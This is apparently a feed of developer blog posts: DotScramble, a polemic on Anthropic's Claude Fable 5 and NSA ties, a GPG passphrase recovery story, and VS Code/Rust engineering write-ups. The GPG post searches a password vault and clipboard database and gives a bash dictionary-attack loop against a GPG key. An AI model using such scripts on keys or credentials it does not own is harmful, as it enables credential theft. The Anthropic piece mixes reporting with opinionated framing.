DotScramble's metadata system takes a "active disinformation" approach rather than passive stripping — the result is metadata that looks legitimate while being completely meaningless. Combined with the visual redaction engine, it provides a comprehensive privacy toolkit that works entirely offline.

The code is Apache 2.0 licensed and open to contributions. If you're interested in adding AI tracking, GPU acceleration, or a web interface — pull requests are very welcome.

GitHub: github.com/kareem2099/DotScramble

OpenDesktop: opendesktop.org/p/2362477

Made with ❤️ for privacy protection

The AI They Said Was Too Dangerous — Is Now Inside the NSA

freerave — Sat, 13 Jun 2026 13:26:13 +0000

Anthropic refused the Pentagon. Drew the line in the sand. Called it ethics. Then walked in through the back door. The full Claude Fable 5 story — uncensored.

"The model isn't the product. The narrative is."

Let me tell you a story about principles, power, and the art of the quiet deal.

It has all the elements:

A government ultimatum
A CEO who said no
A 319-page document with one buried paragraph that blew everything up
And six engineers sitting inside the NSA doing exactly what the company publicly refused to do

This is the full Claude Fable 5 story.

No PR spin. No investor framing.

Just the sequence of events — in order.

ACT I — The Setup

July 2025.

The US Department of Defense signs contracts with Anthropic, Google, OpenAI, and xAI — up to $200 million each — to "accelerate adoption of advanced AI capabilities for critical national security challenges."

Anthropic calls Claude "the Department's most widely deployed frontier AI model."

Mission-critical applications. Intelligence analysis. Operational planning. Cyber operations.

Everything sounds aligned.

Then January 2026 happens.

ACT II — The Trigger

Reports surface that Claude was used in the military operation that captured Venezuelan President Nicolás Maduro.

Anthropic's own Acceptable Use Policy explicitly prohibits Claude from being used to "incite violence or develop weapons."

The contract talks turn cold — fast.

The Pentagon demands Anthropic agree to allow Claude for "any lawful use."

No carve-outs.

No red lines.

Full unrestricted access.

Anthropic's AUP had two specific prohibitions:

Mass domestic surveillance of Americans
Fully autonomous weapons — systems that select and engage targets without human intervention

The Pentagon says: remove them.

Anthropic says: no.

ACT III — The Ultimatum

February 27, 2026. 5:01 PM Eastern.

The deadline passes.

President Trump posts on Truth Social:

"THE UNITED STATES OF AMERICA WILL NEVER ALLOW A RADICAL LEFT, WOKE COMPANY TO DICTATE HOW OUR GREAT MILITARY FIGHTS AND WINS WARS!"

"The Leftwing nut jobs at Anthropic have made a DISASTROUS MISTAKE trying to STRONG-ARM the Department of War."

Within hours, Defense Secretary Pete Hegseth designates Anthropic a "supply chain risk to national security."

Same category as Huawei. Same category as ZTE.

The GSA removes Anthropic from USAi.gov.

Federal contractors are told to stop using Claude.

A six-month phase-out period begins.

CEO Dario Amodei says the company "cannot in good conscience accede" to the demands.

The internet briefly pays attention.

Then moves on.

ACT IV — The Courtroom

Anthropic doesn't roll over.

Two lawsuits. Two courts.

Northern District of California
D.C. Circuit Court of Appeals

March 26, 2026:

Federal Judge Lin issues a preliminary injunction blocking the ban.

She says the Pentagon's actions are "troubling" — and asks the obvious question:

"If the worry is about the integrity of the operational chain of command — [the Department of Defense] could just stop using Claude."

The D.C. Circuit denies Anthropic's parallel request.

Microsoft files an amicus brief supporting Anthropic.

The ban is technically blocked. Legally unresolved. Operationally chaotic.

Contractors don't know what to do.

Some stop. Some wait. Some quietly keep going.

ACT V — The Launch

June 9, 2026.

Anthropic drops Claude Fable 5 — the first publicly available Mythos-class model.

For context:

Claude Mythos launched in April as a restricted preview — too dangerous for public release, they said, citing its advanced ability to find software vulnerabilities
Project Glasswing gave access to a handful of critical infrastructure organizations across 15 countries
Now Fable 5 is the "safe" version — same engine, with guardrails

The name is deliberate.

Fable — from Latin fabula, "that which is told."

Same root as mythos.

Different story.

Benchmarks are impressive. Coding is strong. Vision is exceptional.

On long, complex, autonomous tasks — it pulls ahead significantly.

The developer community is cautiously optimistic.

ACT VI — The Buried Paragraph

Then someone reads page 47 of a 319-page system card.

Here is what it says — verbatim:

"Unlike our interventions for cybersecurity, biology and chemistry, and distillation attempts, these safeguards will not be visible to the user. Instead, the safeguards will limit effectiveness through methods such as prompt modification, steering vectors, or parameter-efficient fine-tuning (PEFT)."

Translation:

If you trigger a hidden filter — Fable 5 will silently downgrade itself.

Modify your prompt without telling you.

Steer the model away from your intent.

You will pay for Fable. You might get Opus.

You will never know.

Not for cybersecurity queries.

Not for biology.

For AI research — specifically, to prevent researchers from probing the model's own capabilities.

The response from the AI research community is immediate.

"The Claude Fable 5 nerf for AI research has induced the angriest reaction from AI researchers that I've ever seen in my life."

— Ethan Caballero, AI researcher

Anthropic reverses it in under 24 hours.

But the paragraph existed.

Someone wrote it.

Someone approved it.

Someone tried to ship it quietly inside 319 pages.

ACT VII — The Bill

While the ethics debate runs hot — the accountants are running hotter.

Fable 5 pricing:

$10 per million input tokens
$50 per million output tokens
90% discount for prompt caching

Real-world cost:

Per Borgen, CEO of Scrimba:

"Just tried Fable. It burned 1.3M tokens in 7 minutes. That's $160 per hour. Equivalent to a $333k/year salary."

Theo from T3 Chat:

Spent over $1,000 in tokens in a single day on a $200/month subscription plan.

Josh Ellithorpe, CTO at Pixelated Ink:

"Burns tokens like no other model. Can't even review this, since my testing is so limited."

Anthropic's answer: "Workflow mode breaks complex prompts into parallel subagent tasks — it costs more by design."

This is the democratization of AI.

$160/hour.

ACT VIII — The Twist Nobody Covered

Let's go back to the government ban.

While the Pentagon was labeling Anthropic a supply chain risk —

while Trump was posting on Truth Social —

while federal agencies were pulling Claude from their systems —

The Financial Times reports:

Anthropic had six engineers embedded inside the NSA as forward-deployed staff.

Their job: guide the agency's use of Claude Mythos — the unrestricted version — and customize it for specific applications.

The model would be useful, one source told the FT, for infiltrating networks in countries such as China and Iran.

The NSA's remit includes offensive cyberattacks against foreign adversaries.

So let's be precise about what happened:

Anthropic refused DoD access to Claude for autonomous weapons and mass surveillance of Americans
Anthropic simultaneously had engineers inside the NSA customizing Mythos for offensive cyber operations against foreign nations

That is not a contradiction.

That is a negotiation.

The "red lines" weren't ethical absolutes.

They were contract terms.

THE VERDICT

Claude Fable 5 is a genuinely impressive model.

The safety stance against the Pentagon on domestic surveillance and autonomous weapons? Admirable — and probably correct.

Dario Amodei's refusal to capitulate under presidential pressure? Worth respecting.

But here is the complete picture, in sequence:

✓ Signed $200M DOD contract
✓ Claude used in Venezuelan presidential capture
✓ Refused to remove domestic surveillance/weapons restrictions  
✓ Got labeled supply chain risk (Huawei tier)
✓ Sued the government
✓ Simultaneously embedded engineers inside NSA for offensive cyber ops
✓ Launched Fable 5 with secret silent downgrade for researchers  
✓ Reversed it 24 hours later under public pressure
✓ Filed IPO paperwork the week before launch
✓ Billed $160/hour for the experience

The question worth sitting with:

Was this about ethics — or about who controls the terms?

Because the model they said was too dangerous for the Pentagon

is now running inside the NSA

optimizing offensive cyber operations

with Anthropic engineers in the room.

The line wasn't "we won't help with offense."

The line was "we won't sign a contract that removes our control over how you use our product."

That's a business position.

A smart one.

But let's call it what it is.

You now have the full picture.

What you do with it is your business.

😈

Sources

#	Source	Publication	Date
1	Anthropic releases Claude Fable 5	TechCrunch	Jun 9, 2026
2	Introducing Claude Fable 5 and Claude Mythos 5	Anthropic Docs	Jun 9, 2026
3	Claude Fable 5 — Official Launch Post	Anthropic	Jun 9, 2026
4	Anthropic walks back covert capability limits	Fortune	Jun 10, 2026
5	Anthropic releases Mythos-like AI to public	CNBC	Jun 9, 2026
6	Anthropic vs. Pentagon: Fight Over Claude Access	Built In	May 1, 2026
7	Pentagon-Anthropic Dispute — Issues for Congress	Congress.gov / CRS	Apr 21, 2026
8	Federal Government and Anthropic — AI Competition	Congress.gov / CRS	May 5, 2026
9	Chain Reaction: What the Pentagon-Anthropic Dispute Means for Civilian Agencies	Center for Democracy and Technology	May 12, 2026
10	Pentagon Designates Anthropic a Supply Chain Risk	Mayer Brown	Mar 27, 2026
11	Anthropic is blacklisted by the Pentagon and used by the NSA	TechSpot	Jun 2026
12	A Timeline of the Anthropic-Pentagon Dispute	TechPolicy.Press	Apr 10, 2026
13	Trump Orders Federal Agencies to Dump Anthropic AI	AOL / Multiple	Feb 27, 2026
14	The Internet Is Furious at Anthropic After Fable 5 Release	Decrypt	Jun 10, 2026
15	Claude Fable 5 Review: What Developers Really Think	Tosea.ai	Jun 10, 2026
16	Claude Mythos — Wikipedia	Wikipedia	2026

Part of the **AI Reality Check* series — where the press release ends and the actual story begins.*

How I Hacked My Own GPG Key: A Developer's Forensic War Story

freerave — Fri, 12 Jun 2026 16:29:51 +0000

I forgot my GPG passphrase mid-release. Instead of generating a new key, I treated it as a CTF challenge — using clipboard forensics, vault analysis, and a targeted dictionary attack to crack it in under 3 seconds.

It was 11 PM. The release was almost done.

I was wrapping up a new build of DotScramble — my image redaction tool — when the terminal froze at the worst possible line:

Signing DotScramble-Linux-x86_64.deb with GPG...
[GPG Password Prompt Appears]

My fingers hovered over the keyboard.

I typed my go-to password. Incorrect.
A variation. Incorrect.
Three more attempts. Incorrect. Incorrect. Incorrect.

The cursor blinked at me, completely indifferent to my suffering.

Here's the brutal truth about GPG passphrases: there is no "Forgot Password" button. No recovery email. No support ticket. The passphrase is the key. Lose one, you've lost the other — permanently.

Most people would generate a new key and move on.

I decided to do something more interesting.

I treated my own key as a CTF target — simultaneously playing the attacker and the defender, with one night to crack it. Here's exactly how it went down.

🔬 Step 1: Digital Forensics First (Never Skip This)

Before touching any attack tooling, there's a golden rule in forensics:

Look before you break things.

On Linux, desktop environments often cache credentials silently in keyring managers. I opened Seahorse (GNOME's "Passwords and Keys" GUI) and combed through the login keyring entry by entry.

What I found:

🟡 Old browser session tokens
🟡 A stale VS Code credential
🟡 Some SSH passphrases from old servers
🔴 GPG passphrase: nowhere

It had never been saved there. The key was generated on a night when I apparently didn't think to cache it.

Next stop: shell history.

grep "gen-key\|passphrase" ~/.bash_history ~/.zsh_history

Nothing useful. I hadn't typed the passphrase inline during key generation — which is actually correct OpSec, ironically working against me now.

Dead end. Moving on.

📋 Step 2: Interrogating the Clipboard (`ghost.db`)

Then a thought hit me.

What if I copied the passphrase when I first created the key?

I run DotGhostBoard — a local clipboard manager I built that silently logs everything you copy into a SQLite database:

~/.config/dotghostboard/ghost.db

If that passphrase ever touched Ctrl+C, it would be fossilized in that database.

I wrote a quick query to surface short text items — the kind a passphrase would look like:

sqlite3 ~/.config/dotghostboard/ghost.db \
  "SELECT content, created_at FROM clipboard_items \
   WHERE length(content) BETWEEN 4 AND 100 \
   AND content NOT LIKE '%Device%' \
   ORDER BY created_at DESC LIMIT 50"

Dozens of entries scrolled past — code snippets, terminal output, random URLs. I scanned every line.

No passphrase.

The database has a max_history = 200 prune limit. My GPG key had been generated months earlier. The entry was already garbage-collected.

Result: Forensic trail cold. No direct match found.

Time to shift strategies entirely.

🧠 Step 3: The Human Factor — Building a Targeted Wordlist

At this point I had to accept one thing:

I wasn't going to find the password. I was going to have to deduce it.

Generic brute-force was never on the table. GPG's key derivation function (S2K) is intentionally slow — without lockout policies, you can technically try forever, but the entropy in a real passphrase makes raw brute-forcing take centuries on consumer hardware.

What does work is a targeted dictionary attack — one built not from rockyou.txt, but from your own brain.

I exported my browser password vault to a passwords.csv and ran a filter:

grep -i -E "gpg|git|key|passphrase|sign|dev" ~/passwords.csv

A pattern emerged immediately.

For local dev tooling and signing keys, I tend to use a consistent base formula — a core string I rotate the capitalization and trailing special characters on, depending on mood and how late it is when I'm generating the key.

I'd done the same thing here. I just didn't remember which variant I'd used that night.

I assembled a shortlist of the most likely candidates — each one a small mutation of the same base pattern. No random strings. No guesses. Pure informed deduction.

💀 Step 4: The Targeted Dictionary Attack

Armed with my candidate list, I needed a way to test passphrases programmatically — no GUI prompts, no interruptions, no manual gpg invocations.

This is where --pinentry-mode loopback becomes your best friend.

It tells GPG to accept the passphrase directly from stdin/environment instead of spawning a graphical pinentry dialog — which makes it completely scriptable:

#!/bin/bash

candidates=(
  "D3vSig@#"
  "d3vsig22"
  "D3vSig@"
  "qX7#mLP9sKRvZn2"
)

target_key="A7BC4921FE83D105"

for pwd in "${candidates[@]}"; do
    echo -n "Testing: $pwd ... "

    echo "test" | gpg \
      --batch \
      --yes \
      --pinentry-mode loopback \
      --passphrase "$pwd" \
      -u "$target_key" \
      --sign >/dev/null 2>&1

    if [ $? -eq 0 ]; then
        echo ""
        echo "==========================================="
        echo "🎉  SUCCESS! Passphrase recovered: $pwd"
        echo "==========================================="
        exit 0
    else
        echo "FAILED"
    fi
done

echo "All candidates exhausted. Expand the wordlist."
exit 1

I hit Enter and watched the output:

Testing: D3vSig@#      ... FAILED
Testing: d3vsig22      ... FAILED
Testing: D3vSig@       ... SUCCESS ✅

Three seconds. Four candidates. One answer.

The passphrase was the variant with a single trailing @ — not @#, not lowercase, not the longer entropy string. The specific variant I'd typed on a tired night when I didn't feel like looking up my usual suffix.

Human pattern recognition in action — working both for me (I knew the base formula) and against me (I didn't remember the exact mutation).

🏆 Step 5: Victory — And a Green Badge

With the passphrase recovered, I ran the build pipeline again:

python3 build.py

Processing: Creating release package...

Signing DotScramble-Linux-x86_64.deb with GPG...
   ✅ Detached signature created: DotScramble-Linux-x86_64.deb.asc

Signing DotScramble-Linux-x86_64.AppImage with GPG...
   ✅ Detached signature created: DotScramble-Linux-x86_64.AppImage.asc

Build completed successfully! 🎉

I uploaded the GPG public key block to my GitHub profile settings.

Every commit and release I push now shows that beautiful, green Verified badge.

At midnight, after all of that, it felt genuinely earned.

📌 What This Actually Teaches Us

This wasn't just a fun personal war story. It surfaces three things every developer should internalize:

1. Password managers aren't optional for GPG keys

The moment you run gpg --gen-key — not tomorrow, not later — open Bitwarden, 1Password, or KeePassXC and store that passphrase. GPG has zero mercy for forgetful humans. You will forget. Everyone forgets.

2. Targeted attacks will always beat generic ones

We think we make random passphrases. We don't. We make variations of patterns we already know, adjusted by habit, mood, and how late it is. A wordlist of 20 informed candidates will almost always outperform rockyou.txt by orders of magnitude when the target is yourself.

This is also why a single compromised vault can expose your entire security posture — your patterns leak across credentials.

3. Your clipboard manager is a forensic goldmine (and a liability)

DotGhostBoard has saved me in plenty of other recovery scenarios — but it's also a reminder that clipboard history databases are sensitive data stores. If yours isn't encrypted or access-controlled, a single compromised session can expose everything you've ever copied.

Know your prune window
Exclude sensitive applications from being tracked
Treat the database file itself like a secrets vault

🛠️ The Full Attack Surface Summary

Stage	Method	Result
Keyring check (Seahorse)	GUI inspection	❌ Not cached
Shell history	`grep` on `.bash_history`	❌ Not found
Clipboard forensics	SQLite query on `ghost.db`	❌ Pruned
Vault analysis	`grep` on `passwords.csv`	✅ Pattern identified
Dictionary attack	Loopback pinentry script	✅ Cracked (3.2s)

[DotScramble](https://github.com/kareem2099/DotScramble) is a standalone Python desktop app for image privacy protection — think face detection, license plate auto-blur, OCR text censoring, EXIF metadata spoofing, and batch processing across entire folders. It runs fully offline, ships as a single executable, and supports Arabic RTL out of the box. This build pipeline — the one that needed the GPG passphrase — is what packages and signs every release.

Next up: how DotScramble's freemium licensing system uses **Ed25519 asymmetric signing* to prevent key sharing — with the private key living entirely server-side, never touching the client.*

Did you ever lose a GPG passphrase? How did you handle it? Drop it in the comments 👇

I Built a Code Screenshot Tool Inside My VS Code Extension — Here's How It Works (DotShare v3.4.0)

freerave — Mon, 01 Jun 2026 09:34:05 +0000

You know that moment when you write a function you're genuinely proud of, and you want to share it on LinkedIn or Bluesky — but plain text just… doesn't do it justice?

I've been there every week.

I'm Kareem (FreeRave), founder of DotSuite — a suite of privacy-first Linux tools and VS Code extensions. DotShare is my VS Code extension for sharing content across LinkedIn, X, Bluesky, Reddit, Dev.to, Medium, Telegram, and more — all without leaving the editor.

Today I'm shipping v3.4.0, and the headline feature is CodeSnap: a code-to-image tool built entirely inside the extension's WebView, using nothing but HTML Canvas and Highlight.js.

No node-canvas. No sharp. No native binaries. Zero extra dependencies.

Let me walk you through how it works and why I built it this way.

The Problem: Code Screenshots in VS Code Are Painful

The existing solutions are either:

External web apps (Carbon, Ray.so) — you copy code, tab out, paste, configure, download, come back, attach. Five steps too many.
Other VS Code extensions (CodeSnap, Polacode) — great tools, but they don't integrate with a sharing workflow. You screenshot, then you still have to open your composer manually.

I wanted the whole loop inside one tool:

Select code → 📸 Snap → Pick platform → Composer opens with image attached

That's it. No context switching.

The Architecture Decision: Why HTML Canvas?

When I started building this, the "obvious" choice was node-canvas — the Node.js port of the HTML Canvas API. But I ran into three hard problems immediately:

1. Native binaries are a Marketplace nightmare.
node-canvas requires node-gyp and compiles native C++ addons. On VS Code Marketplace, extensions with native binaries are flagged, slow to install, and break on ARM Macs and certain Linux distros.

2. sharp is 10MB+ of compiled code.
For a feature that renders a static image, that's an absurd payload.

3. VS Code already ships a full browser engine (Electron).
The WebView is a Chromium tab. It has a GPU-accelerated Canvas API, a full DOM parser, and font rendering that matches what the user actually sees on screen. Why fight it?

So the decision was: render in the WebView, export PNG from there, and ship it back to the extension host.

The flow looks like this:

┌─────────────────────┐       loadCode        ┌─────────────────────┐
│   Extension Host    │ ──────────────────────▶│   WebView (Canvas)  │
│   (Node.js)         │                        │   (Chromium)        │
│                     │◀── snapReady (base64) ─│                     │
│  CodeSnapPanel.ts   │                        │  codesnap.html      │
│  MediaService.ts    │                        │  hljs + Canvas API  │
└─────────────────────┘                        └─────────────────────┘
         │
         ▼
    Saves to disk
    QuickPick: which platform?
    Opens Composer with image attached

CodeSnapService: Reading the Editor

The first piece is pure Node.js — no VS Code UI involved yet. CodeSnapService.capture() reads the active editor and returns everything the renderer needs:

// src/services/CodeSnapService.ts

export interface CodeSnapData {
    code: string;
    language: string;  // resolved to HL.js alias
    fileName: string;
    lineStart: number;
    lineEnd: number;
    hasSelection: boolean;
}

public static capture(): CodeSnapData | null {
    const editor = vscode.window.activeTextEditor;
    if (!editor) return null;

    const doc       = editor.document;
    const selection = editor.selection;
    const hasSelection = !selection.isEmpty;

    let code = hasSelection
        ? doc.getText(selection)
        : doc.getText();

    // Tabs break canvas rendering — convert to spaces first
    code = code.replace(/\t/g, '    ');

    // Strip common leading indent so the image doesn't waste space
    code = CodeSnapService._stripCommonIndent(code);

    return {
        code,
        language:  CodeSnapService._resolveLanguage(doc.languageId, doc.fileName),
        fileName:  path.basename(doc.fileName),
        lineStart: hasSelection ? selection.start.line + 1 : 1,
        lineEnd:   hasSelection ? selection.end.line   + 1 : doc.lineCount,
        hasSelection,
    };
}

Two details worth calling out:

Tab conversion — HTML Canvas has inconsistent \t rendering across platforms. Converting to 4 spaces before we even touch the canvas eliminates an entire class of alignment bugs.

Common indent stripping — if you select a deeply nested function, the raw text has 16 spaces of leading indent on every line. _stripCommonIndent finds the minimum indent across all non-empty lines and removes it. The rendered image uses the full canvas width instead of leaving most of it empty.

private static _stripCommonIndent(code: string): string {
    const lines = code.split('\n');
    const minIndent = Math.min(
        ...lines
            .filter(l => l.trim().length > 0)
            .map(l => l.match(/^(\s*)/)?.[1].length ?? 0)
    );
    if (minIndent === 0) return code;
    return lines.map(l => l.slice(minIndent)).join('\n').trimEnd();
}

The Canvas Renderer

The canvas rendering runs entirely in the WebView. Here's the core loop — I'll walk through it section by section.

Step 1: Measure before you paint

// Measure text to calculate canvas dimensions
const tmp    = document.createElement('canvas');
const tmpCtx = tmp.getContext('2d');
tmpCtx.font  = `${fontSize}px 'JetBrains Mono', 'Fira Code', Consolas, monospace`;

const lines    = data.code.split('\n');
const maxCodeW = Math.max(...lines.map(l => tmpCtx.measureText(l).width));

const innerW = Math.ceil(maxCodeW + lineNumWidth) + padding * 2;
const innerH = lines.length * LINE_H + padding * 2 + TITLE_H;

We use a throwaway canvas just to measure text width before the real canvas exists. This lets us size the output to exactly fit the content — no hardcoded 800px width.

Step 2: 2x resolution for Retina

const cv = document.createElement('canvas');
cv.width  = canvasW * 2;   // physical pixels
cv.height = canvasH * 2;
cv.style.width  = canvasW + 'px';   // CSS pixels
cv.style.height = canvasH + 'px';
const ctx = cv.getContext('2d');
ctx.scale(2, 2);  // scale the context — all our coordinates stay the same

The canvas is 2× the display size but we scale the context by 2× before drawing. Every coordinate we use is still in CSS pixels. The exported PNG is full Retina resolution.

Step 3: Syntax highlighting via HL.js

This is where the real trick lives. HL.js gives us highlighted HTML like:

<span class="hljs-keyword">const</span> 
<span class="hljs-title function_">greet</span>
<span class="hljs-punctuation">(</span>
<span class="hljs-params">name</span>
<span class="hljs-punctuation">)</span>

We parse that HTML into a flat token list, then paint each token with its color:

function parseHljsHtml(html, defaultColor) {
    const out    = [];
    const parser = new DOMParser();
    const doc    = parser.parseFromString(`<pre>${html}</pre>`, 'text/html');
    flattenNode(doc.querySelector('pre'), defaultColor, out);
    return out;
}

function flattenNode(node, inheritColor, out) {
    if (node.nodeType === Node.TEXT_NODE) {
        if (node.textContent) out.push({ text: node.textContent, color: inheritColor });
        return;
    }
    if (node.nodeType === Node.ELEMENT_NODE) {
        const cls   = (node.className || '').trim();
        const color = activePalette[cls] ?? inheritColor;
        node.childNodes.forEach(c => flattenNode(c, color, out));
    }
}

flattenNode recursively walks the HL.js DOM output. When it hits a text node, it records the current inherited color. When it hits a <span>, it looks up the class name in our palette and updates the color for that subtree.

Then we split by newlines to get per-line segment arrays, and paint:

lineSegs.forEach((segs, i) => {
    const y = codeY + i * LINE_H;

    // Line number (dim, right-aligned)
    if (showLines) {
        ctx.fillStyle = 'rgba(200,200,220,.22)';
        ctx.textAlign = 'right';
        ctx.fillText(String(data.lineStart + i), lineNumX, y);
        ctx.textAlign = 'left';
    }

    // Colored tokens, left-to-right
    let x = codeX;
    for (const seg of segs) {
        if (!seg.text) continue;
        ctx.fillStyle = seg.color;
        ctx.fillText(seg.text, x, y);
        x += ctx.measureText(seg.text).width;
    }
});

This is the part that makes the output look good. Each token is measured and positioned individually, so the colors align exactly with the text.

The Race Condition I Fixed

The tricky part wasn't the canvas rendering — it was the integration between CodeSnap and the Composer.

The original approach was setTimeout:

// ❌ Old approach — fragile
vscode.commands.executeCommand('dotshare.openFullWebview', 'post', { platform });
setTimeout(() => {
    DotShareWebView.postMessage({ command: 'mediaAttached', mediaFiles: [{ ... }] });
}, 800);  // hope 800ms is enough...

This breaks on slow machines. It breaks on first load when VS Code needs to compile the extension. It breaks when the Composer webview is loading a saved draft.

The fix is a proper handshake. The Composer fires webviewReady when it mounts:

// app.ts (Composer WebView)
function onReady() {
    enableDragAndDrop(get<HTMLTextAreaElement>('post-text'));
    enableDragAndDrop(get<HTMLTextAreaElement>('blog-body'));
    send('webviewReady');  // ← "I'm alive, send me stuff"
}

if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', onReady, { once: true });
} else {
    onReady();
}

The extension host handles webviewReady in DotShareWebView:

// DotShareWebView.ts
if (data?.command === 'webviewReady') {
    vscode.commands.executeCommand('dotshare._composerReady', panel);
    return;
}

And _composerReady atomically consumes any pending snap:

// extension.ts
vscode.commands.registerCommand('dotshare._composerReady', (panel: vscode.WebviewPanel) => {
    const pending = CodeSnapPanel.consumePendingSnap();
    if (pending) {
        panel.webview.postMessage({
            command:    'mediaAttached',
            mediaFiles: [{
                mediaPath:     pending.filePath,
                mediaFilePath: pending.filePath,
                fileName:      pending.fileName,
                fileSize:      0,
            }],
        });
    }
})

consumePendingSnap() uses a FIFO queue — reads and clears atomically, no double-delivery:

// FIFO queue — thread-safe, handles rapid double-snap edge case
private _pendingSnaps: Array<{ filePath: string; fileName: string }> = [];

public static consumePendingSnap(): { filePath: string; fileName: string } | null {
    return CodeSnapPanel._instance?._pendingSnaps.shift() ?? null;
}

No race condition. No magic number timeouts. The image attaches the instant the Composer is ready — whether that's 200ms or 3 seconds.

Offline-First: No CDN

One more architectural decision worth mentioning: the VS Code webview CSP blocks external CDN requests by default — and that's correct behavior. I vendor all HL.js assets locally:

media/webview/vendor/
  highlight.min.js
  styles/
    atom-one-dark.min.css
    github-dark.min.css
    monokai.min.css
    dracula.min.css
    nord.min.css
    vs2015.min.css
    tokyo-night-dark.min.css
    github.min.css
    catppuccin-mocha.min.css

The _buildHtml() method in CodeSnapPanel resolves all of these to webview.asWebviewUri() paths and injects them as a JSON map that the WebView uses for theme switching:

const themeCssMap: Record<string, string> = {};
for (const t of themes) {
    const localPath = vscode.Uri.joinPath(stylesDir, `${t}.min.css`);
    try {
        fs.accessSync(localPath.fsPath);
        themeCssMap[t] = webview.asWebviewUri(localPath).toString();
    } catch {
        // Skip missing files gracefully — theme won't appear in selector
    }
}

html = html.replace(/\{\{THEME_CSS_MAP\}\}/g,
    JSON.stringify(themeCssMap).replace(/</g, '\\u003c').replace(/>/g, '\\u003e')
);

Works completely offline. No network requests. No CDN downtime issues.

The Result

Here's what the full workflow looks like:

Select a function in your editor
Right-click → DotShare: 📸 CodeSnap (or use the keyboard shortcut)
The CodeSnap panel opens beside your editor with a live preview
Adjust theme, font size, padding, line numbers, watermark — instant re-render
Click 🚀 Share → QuickPick: which platform?
The Composer opens with the image already attached
Write your caption, hit send

Or — from inside the Composer — click 📸 Add CodeSnap to open the panel mid-composition.

9 themes ship out of the box, completely free: Atom One Dark, GitHub Dark, GitHub Light, Monokai, Dracula, Nord, VS2015, Tokyo Night, Catppuccin Mocha.

Install DotShare

The extension is free and open source.

VS Code Marketplace:
marketplace.visualstudio.com/items?itemName=FreeRave.dotshare

Open VSX (VSCodium / Windsurf / Cursor):
open-vsx.org/extension/freerave/dotshare

GitHub:
github.com/kareem2099/DotShare

What's Next

CodeSnap is v1 — there's plenty left to build:

Custom fonts: let users point to their own monospace font
Gradient backgrounds: mesh gradients instead of solid BG color
Multiple files: side-by-side code panels in one image
Animated GIF export: show code being written, line by line

If any of these sound useful — or if you hit a bug — open an issue on GitHub or drop a comment below.

And if you ship a post using CodeSnap, tag me. I want to see what you're building. 🚀

— Kareem (FreeRave), founder of DotSuite

DotShare 3.3: The Final 10% — Crashing the Rust Compiler and Fixing Silent Node.js Bugs (Part 4)

freerave — Fri, 29 May 2026 20:21:49 +0000

How we bridged the gap between a VS Code extension, a Next.js frontend, and a Rust Axum backend — and the bizarre bugs we fought along the way.

TL;DR: Integrating three stacks (Rust backend, Node.js/Electron extension, Next.js dashboard) is where the real bugs hide — not in your logic, but at the seams between ecosystems. This post covers 4 production-grade bugs: a silent fetch body corruption, a literal Rust compiler crash, a UI state machine that silently erased user work, and a secure OAuth token relay across three services.

The Rust backend was bulletproof. The Next.js dashboard was polished. The VS Code extension felt completely native. We were on the home stretch.

Then came the final 10%.

If you've shipped anything real, you already know what this means. Not because the work is hard in the traditional sense — but because you've crossed out of any single ecosystem's comfort zone. You're no longer debugging your code. You're debugging the spaces between Rust, Node.js, and Next.js. The gaps nobody writes documentation for.

These are the bugs that live there.

🐛 Bug #1 — The Silent `fetch` Body Corruption

The Setup

The VS Code extension needed to upload cover images to our Rust Axum backend. Since VS Code extensions run in a Node.js environment, we reached for the native fetch API plus the form-data npm package — a completely standard, well-documented combo.

The code looked textbook-correct:

import FormData from 'form-data';

const formData = new FormData();
formData.append('file', buffer, { filename: 'cover.jpg' });

const response = await fetch('https://api.dotsuite.dev/v1/media/upload', {
    method: 'POST',
    headers: {
        'Authorization': `Bearer ${token}`,
        ...formData.getHeaders() // Sets Content-Type + boundary
    },
    body: formData as any
});

The Symptom

The Rust backend threw this on every single attempt:

Multipart error: Error parsing multipart/form-data request

The Investigation

We spent hours auditing the Rust Axum Multipart extractor. We logged raw bytes. We checked content-type headers. Everything on the Rust side looked sane.

Then we flipped our perspective: what if the problem was in the request itself, not the parser?

Here's the key insight. There are two completely different things called "FormData":

	Web FormData (`window.FormData`)	`form-data` npm package
Lives in	Browser / Web APIs	Node.js ecosystem
Body type	Serializes itself natively	Returns a readable stream
Works with native `fetch`?	✅ Yes	❌ No

Node's native fetch was designed around the Web FormData interface. When you pass it a form-data stream, it doesn't know how to pipe the boundary markers into the body correctly. The headers said Content-Type: multipart/form-data; boundary=---12345 — but the body was malformed. The Rust parser saw garbage.

The Fix

We replaced native fetch with axios for this specific upload path. Axios understands how to serialize Node.js stream-based FormData objects properly:

import axios from 'axios';

const response = await axios.post(
    'https://api.dotsuite.dev/v1/media/upload',
    formData,
    {
        headers: {
            'Authorization': `Bearer ${token}`,
            ...formData.getHeaders(),
        },
        maxBodyLength: Infinity, // No cap on upload size
    }
);

Immediately, the Rust backend parsed the stream perfectly, validated the magic bytes, and forwarded the file to Cloudflare R2.

💡 Lesson: Native fetch in Node.js is NOT a drop-in replacement for node-fetch or axios when dealing with npm's form-data streams. The Web API and the Node.js ecosystem have diverged here in a subtle, silent, and infuriating way.

💥 Bug #2 — We Crashed the Rust Compiler

The Setup

While refining the post scheduler, we hit an error that sends ice down the spine of any Rust developer. Not a runtime panic. Not a logic error.

The compiler itself crashed.

thread 'rustc' panicked at library/alloc/src/vec/mod.rs:2873:36:
slice index starts at 16 but ends at 15
error: the compiler unexpectedly panicked. this is a bug.

query stack during panic:
#0 [check_mod_deathness] checking deathness of variables in module `platforms`

This is called an ICE — Internal Compiler Error. It means rustc hit a state it was never supposed to reach. These are filed as bugs against the Rust project itself.

The Cause

The stack trace pointed to check_mod_deathness — the compiler pass that finds dead (unused) code to issue dead_code warnings.

We had this struct:

pub struct PublishResult {
    pub platform: Platform,
    pub post_url: Option<String>,
}

We were producing PublishResult values inside an iterator chain, but the post_url field was never actually consumed anywhere downstream. The dead-code analysis pass, when it encountered this specific pattern — an unused field inside a struct flowing through an iterator chain — hit an edge case and panicked internally.

The compiler wasn't wrong to complain. We were writing dead code. It just wasn't supposed to crash about it.

The Fix

The tempting shortcut was #[allow(dead_code)]. That silences the warning without fixing anything.

The right fix was to actually use the field. We updated the scheduler to log published URLs on success — which made post_url a live, consumed value:

// Actively consume post_url — turns dead code into observable telemetry
let published_urls: Vec<String> = results.iter()
    .filter_map(|r| r.as_ref().ok())
    .filter_map(|r| {
        r.post_url
            .as_ref()
            .map(|url| format!("{:?}: {}", r.platform, url))
    })
    .collect();

if !published_urls.is_empty() {
    tracing::info!(urls = ?published_urls, "✅ Post published successfully");
}

